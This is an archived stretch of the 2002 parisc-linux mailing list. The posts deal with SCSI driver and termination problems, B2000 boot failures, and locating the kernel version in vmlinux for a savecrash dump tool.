Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------A6ABBFAE75CB5C440C3E2D6F--




From - Thu Nov 08 21:21:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble installing 0.9.3 on 735/99
Date: Tue, 22 Jan 2002 14:12:53 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20020122141253.GB25314@sleepie.demon.co.uk>
References: <A8566E157F5FD411BCFB00D0B7816D51C72CD9@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620997 1439 80.91.229.3 (22 Nov 2014 01:49:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:57 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matt.VanDeWerken@csiro.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 07:23:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 47F56482A
	for <parisc-linux@parisc-linux.org>; Tue, 22 Jan 2002 07:23:10 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id E81BB9EC5F; Tue, 22 Jan 2002 14:12:53 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <A8566E157F5FD411BCFB00D0B7816D51C72CD9@ntexchange.cat.csiro.au>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13832

On Tue, Jan 22, 2002 at 07:58:22AM +1000, Matt.VanDeWerken@csiro.au wrote:
> Hi all:
> 
> * drop to shell, do "mkdir /inst ; mount /dev/sdb /inst -t iso9660"
> 
> Note that this last step only sometimes works. That is, only sometimes does
> the install program see the mounted directory.

Are you confident that you are terminating the external scsi bus
properly?  0.9.2 ISO used an older slower scsi driver that was possibly
less susceptible to bad termination.

Richard




From - Thu Nov 08 21:21:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] B2000
Date: Tue, 22 Jan 2002 15:56:59 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <03273D4BC7F4D511AC440008C7E6F8815420CA@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620997 1444 80.91.229.3 (22 Nov 2014 01:49:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:57 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 07:57:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from relay1.alcatel.be (alc119.alcatel.be [195.207.101.119])
	by dsl2.external.hp.com (Postfix) with ESMTP id 418C5482A
	for <parisc-linux@parisc-linux.org>; Tue, 22 Jan 2002 07:57:06 -0700 (MST)
Original-Received: from nlntadn.ats.nld.alcatel.nl (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id g0MEv3F12025
	for <parisc-linux@parisc-linux.org>; Tue, 22 Jan 2002 15:57:03 +0100 (MET)
Original-Received: by nlntadn.ats.nld.alcatel.nl with Internet Mail Service (5.5.2650.21)
	id <V1DXB0W5>; Tue, 22 Jan 2002 15:57:01 +0100
X-Mailer: Internet Mail Service (5.5.2650.21)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13833

LS
Even though under "tested hardware"  it stated : B, C and J workstations 

I noticed that there were some difficulties with the B2000 in previous
versions
With the latest version (0.93) I still get after booting (from internal
cdrom-drive):

FLT CBF4: SYS BD 
Bad OS HPMC cksm 
FLT CBFC: SYS BD 
Os hpmc br err 
FLT CBF0: SYS BD 
HPMC initiated 
FLT 500B: SYS BD 
Bus timeout 

(hangs)

Kind regards, Hans



From - Thu Nov 08 21:21:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Enrik Berkhan <Enrik.Berkhan@planb.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux header for savecrash.
Date: Tue, 22 Jan 2002 16:11:36 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20020122161135.A6205@electra.intern.planb.de>
References: <3C4C53B7.67DA24E@admin.france.hp.com> <20020121202539.994A5482A@dsl2.external.hp.com> <3C4D2EFB.F82671C2@admin.france.hp.com> <20020122105553.A5510@electra.intern.planb.de> <3C4D5A46.426BE5E5@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620998 1446 80.91.229.3 (22 Nov 2014 01:49:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:58 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 08:11:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.planb.de (aldebaran.planb.de [212.227.14.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id B7987482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jan 2002 08:11:38 -0700 (MST)
Original-Received: from electra.intern.planb.de (andromeda.planb.de [212.227.19.14])
	by mail.planb.de with esmtp 
	id 16T2aH-0007bb-00; Tue, 22 Jan 2002 16:11:37 +0100
Content-Disposition: inline
In-Reply-To: <3C4D5A46.426BE5E5@admin.france.hp.com>
User-Agent: Mutt/1.3.23i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13834

Bruno,

On Tue, Jan 22, 2002 at 01:25:42PM +0100, Bruno Vidal wrote:
> I think that Enrik has a good starting point, where can I find
> a good how-to about libbfd ? there is nothing under /usr/share/doc ?
> A web page ?

(assuming debian) you can install `bintutils-doc and will be
able to do `info bfd afterwards. But its far from a tutorial ...

Enrik
-- 
Enrik Berkhan                                         plan b. GmbH
                                                      Rppurrer Strae 4
+49-721-388582 (voice)                                76137 Karlsruhe
+49-721-388581 (fax)                                  Germany



From - Thu Nov 08 21:21:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux header for savecrash.
Date: Tue, 22 Jan 2002 15:13:35 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20020122151335.X31512@parcelfarce.linux.theplanet.co.uk>
References: <3C4C53B7.67DA24E@admin.france.hp.com> <20020121202539.994A5482A@dsl2.external.hp.com> <3C4D2EFB.F82671C2@admin.france.hp.com> <20020122105553.A5510@electra.intern.planb.de> <3C4D5A46.426BE5E5@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620998 1450 80.91.229.3 (22 Nov 2014 01:49:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:58 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 08:13:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 113A54844
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jan 2002 08:13:37 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16T2cB-0005HI-00; Tue, 22 Jan 2002 15:13:35 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3C4D5A46.426BE5E5@admin.france.hp.com>; from bruno_vidal@hpfrcu03.france.hp.com on Tue, Jan 22, 2002 at 01:25:42PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13835

On Tue, Jan 22, 2002 at 01:25:42PM +0100, Bruno Vidal wrote:
> 	Hi
> I think that Enrik has a good starting point, where can I find
> a good how-to about libbfd ? there is nothing under /usr/share/doc ?
> A web page ?

apt-get install binutils-doc
info bfd

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble installing 0.9.3 on 735/99
Date: Tue, 22 Jan 2002 12:05:48 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <20020122120548.M19637@systemhalted>
References: <A8566E157F5FD411BCFB00D0B7816D51C72CD9@ntexchange.cat.csiro.au> <20020122141253.GB25314@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620998 1453 80.91.229.3 (22 Nov 2014 01:49:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:58 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 10:05:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B563482A
	for <parisc-linux@parisc-linux.org>; Tue, 22 Jan 2002 10:05:54 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id g0MH5mB22447;
	Tue, 22 Jan 2002 12:05:48 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Richard Hirst <rhirst@linuxcare.com>, parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020122141253.GB25314@sleepie.demon.co.uk>; from rhirst@linuxcare.com on Tue, Jan 22, 2002 at 02:12:53PM +0000
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13836

> > Hi all:
> > 
> > * drop to shell, do "mkdir /inst ; mount /dev/sdb /inst -t iso9660"
> > 
> > Note that this last step only sometimes works. That is, only sometimes does
> > the install program see the mounted directory.
> 
> Are you confident that you are terminating the external scsi bus
> properly?  0.9.2 ISO used an older slower scsi driver that was possibly
> less susceptible to bad termination.
> 
> Richard
> 
>

I can't get any of the 715/50's to run stably with the newer
SCSI driver. And after testing I can almost pinpoint with 95%
accuracy tha it's the new driver.

I have yet to go about running the latest kernel with the sim700
driver. Though if I get some time this afternoon I will.
(Just spent some time adding diskless 715/50's to our cluster)

Has anyone been able to get SCSI disks that are not from HP
to work on the 715's? (New terminator? Different terminator?)

c. 



From - Thu Nov 08 21:21:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux header for savecrash.
Date: Tue, 22 Jan 2002 10:45:33 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20020122174533.38418482A@dsl2.external.hp.com>
References: <3C4C53B7.67DA24E@admin.france.hp.com> <20020121202539.994A5482A@dsl2.external.hp.com>  <3C4D2EFB.F82671C2@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620998 1457 80.91.229.3 (22 Nov 2014 01:49:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:58 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 10:45:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 38418482A; Tue, 22 Jan 2002 10:45:33 -0700 (MST)
In-Reply-To: Message from Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com> 
   of "Tue, 22 Jan 2002 10:20:59 +0100." <3C4D2EFB.F82671C2@admin.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13837

Bruno Vidal wrote:
> 	Sorry, but on my system, fgrep gives nothing
> (and by using strings, I found nothing also).

grundler@gsyprf11:~$ uname -a
Linux gsyprf11.external.hp.com 2.4.17-pa11 #3 SMP Fri Jan 18 23:32:06 PST 2002 parisc64 unknown
grundler@gsyprf11:~$ strings /boot/vmlinux | fgrep 2.4.17
Linux version 2.4.17-pa11 (grundler@gsyprf10) (gcc version 3.0.3) #3 SMP Fri Jan 18 23:32:06 PST 2002
Linux 2.4.17-pa11
2.4.17-pa11
grundler@gsyprf11:~$ 

Perhaps a simple fgrep isn't sufficient for what you have.
You might need to pick out certain fields.

> And I
> can't use dmesg buffer, because by definition it is a buffer,
> so after running sometime, the palo boot strings is not
> in the buffer anymore.

right. They should be in the /var/log/messages if they are no longer
in the dmesg buffer.

> Some new ideas ?

Randolph Chung and I were wondering if dump driver could save a
parameter passed in by palo: eg "boot_kernel=/boot/vmlinux-pa11".
I haven't checked if something like that already exists.

grant



From - Thu Nov 08 21:21:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux header for savecrash.
Date: Tue, 22 Jan 2002 09:53:32 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <20020122175332.GF3247@tausq.org>
References: <3C4C53B7.67DA24E@admin.france.hp.com> <20020121202539.994A5482A@dsl2.external.hp.com> <3C4D2EFB.F82671C2@admin.france.hp.com> <20020122174533.38418482A@dsl2.external.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620999 1459 80.91.229.3 (22 Nov 2014 01:49:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:59 +0000 (UTC)
Cc: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 10:54:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2C037482E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jan 2002 10:54:11 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id dlzxkaaa for parisc-linux@lists.parisc-linux.org; Tue, 22 Jan 2002 10:54:11 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16T56y-0002qk-00; Tue, 22 Jan 2002 09:53:32 -0800
Content-Disposition: inline
In-Reply-To: <20020122174533.38418482A@dsl2.external.hp.com>
User-Agent: Mutt/1.3.24i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13838

> Randolph Chung and I were wondering if dump driver could save a
> parameter passed in by palo: eg "boot_kernel=/boot/vmlinux-pa11".
> I haven't checked if something like that already exists.

Is this really an arch-dependent problem? How do other architectures (I
think lkcd works on i386 and alpha?) do this?

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B2000
Date: Tue, 22 Jan 2002 10:55:57 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20020122175557.D51FF482E@dsl2.external.hp.com>
References: <03273D4BC7F4D511AC440008C7E6F8815420CA@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620999 1460 80.91.229.3 (22 Nov 2014 01:49:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:59 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 10:55:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D51FF482E; Tue, 22 Jan 2002 10:55:57 -0700 (MST)
In-Reply-To: Message from "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl> 
   of "Tue, 22 Jan 2002 15:56:59 +0100." <03273D4BC7F4D511AC440008C7E6F8815420CA@nlntmail2b.ats.nld.alcatel.nl> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13839

"Witvliet, Hans" wrote:
> LS
> Even though under "tested hardware"  it stated : B, C and J workstations 

The kernel runs those boxes.

> I noticed that there were some difficulties with the B2000 in previous
> versions
> With the latest version (0.93) I still get after booting (from internal
> cdrom-drive):

Built-in IDE cd-rom drive on BCJ-[123567]XXX is not supported.
Off and on I've been hacking on suckyio IDE support but it's still
not working.

Install from either external SCSI CD-ROM or via network.

grant




From - Thu Nov 08 21:21:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux header for savecrash.
Date: Tue, 22 Jan 2002 18:55:31 +0100
Organization: H.P
Lines: 44
Approved: news@gmane.org
Message-ID: <3C4DA793.B17F1D3C@admin.france.hp.com>
References: <3C4C53B7.67DA24E@admin.france.hp.com> <20020121202539.994A5482A@dsl2.external.hp.com>  <3C4D2EFB.F82671C2@admin.france.hp.com> <20020122174533.38418482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------B8E70CF7290CEC3ABD38A103"
X-Trace: ger.gmane.org 1416620999 1465 80.91.229.3 (22 Nov 2014 01:49:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:59 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 10:59:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC6A24833
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jan 2002 10:59:54 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 02C2B278
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jan 2002 18:59:47 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id SAA15612; Tue, 22 Jan 2002 18:57:58 +0100 (MET)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
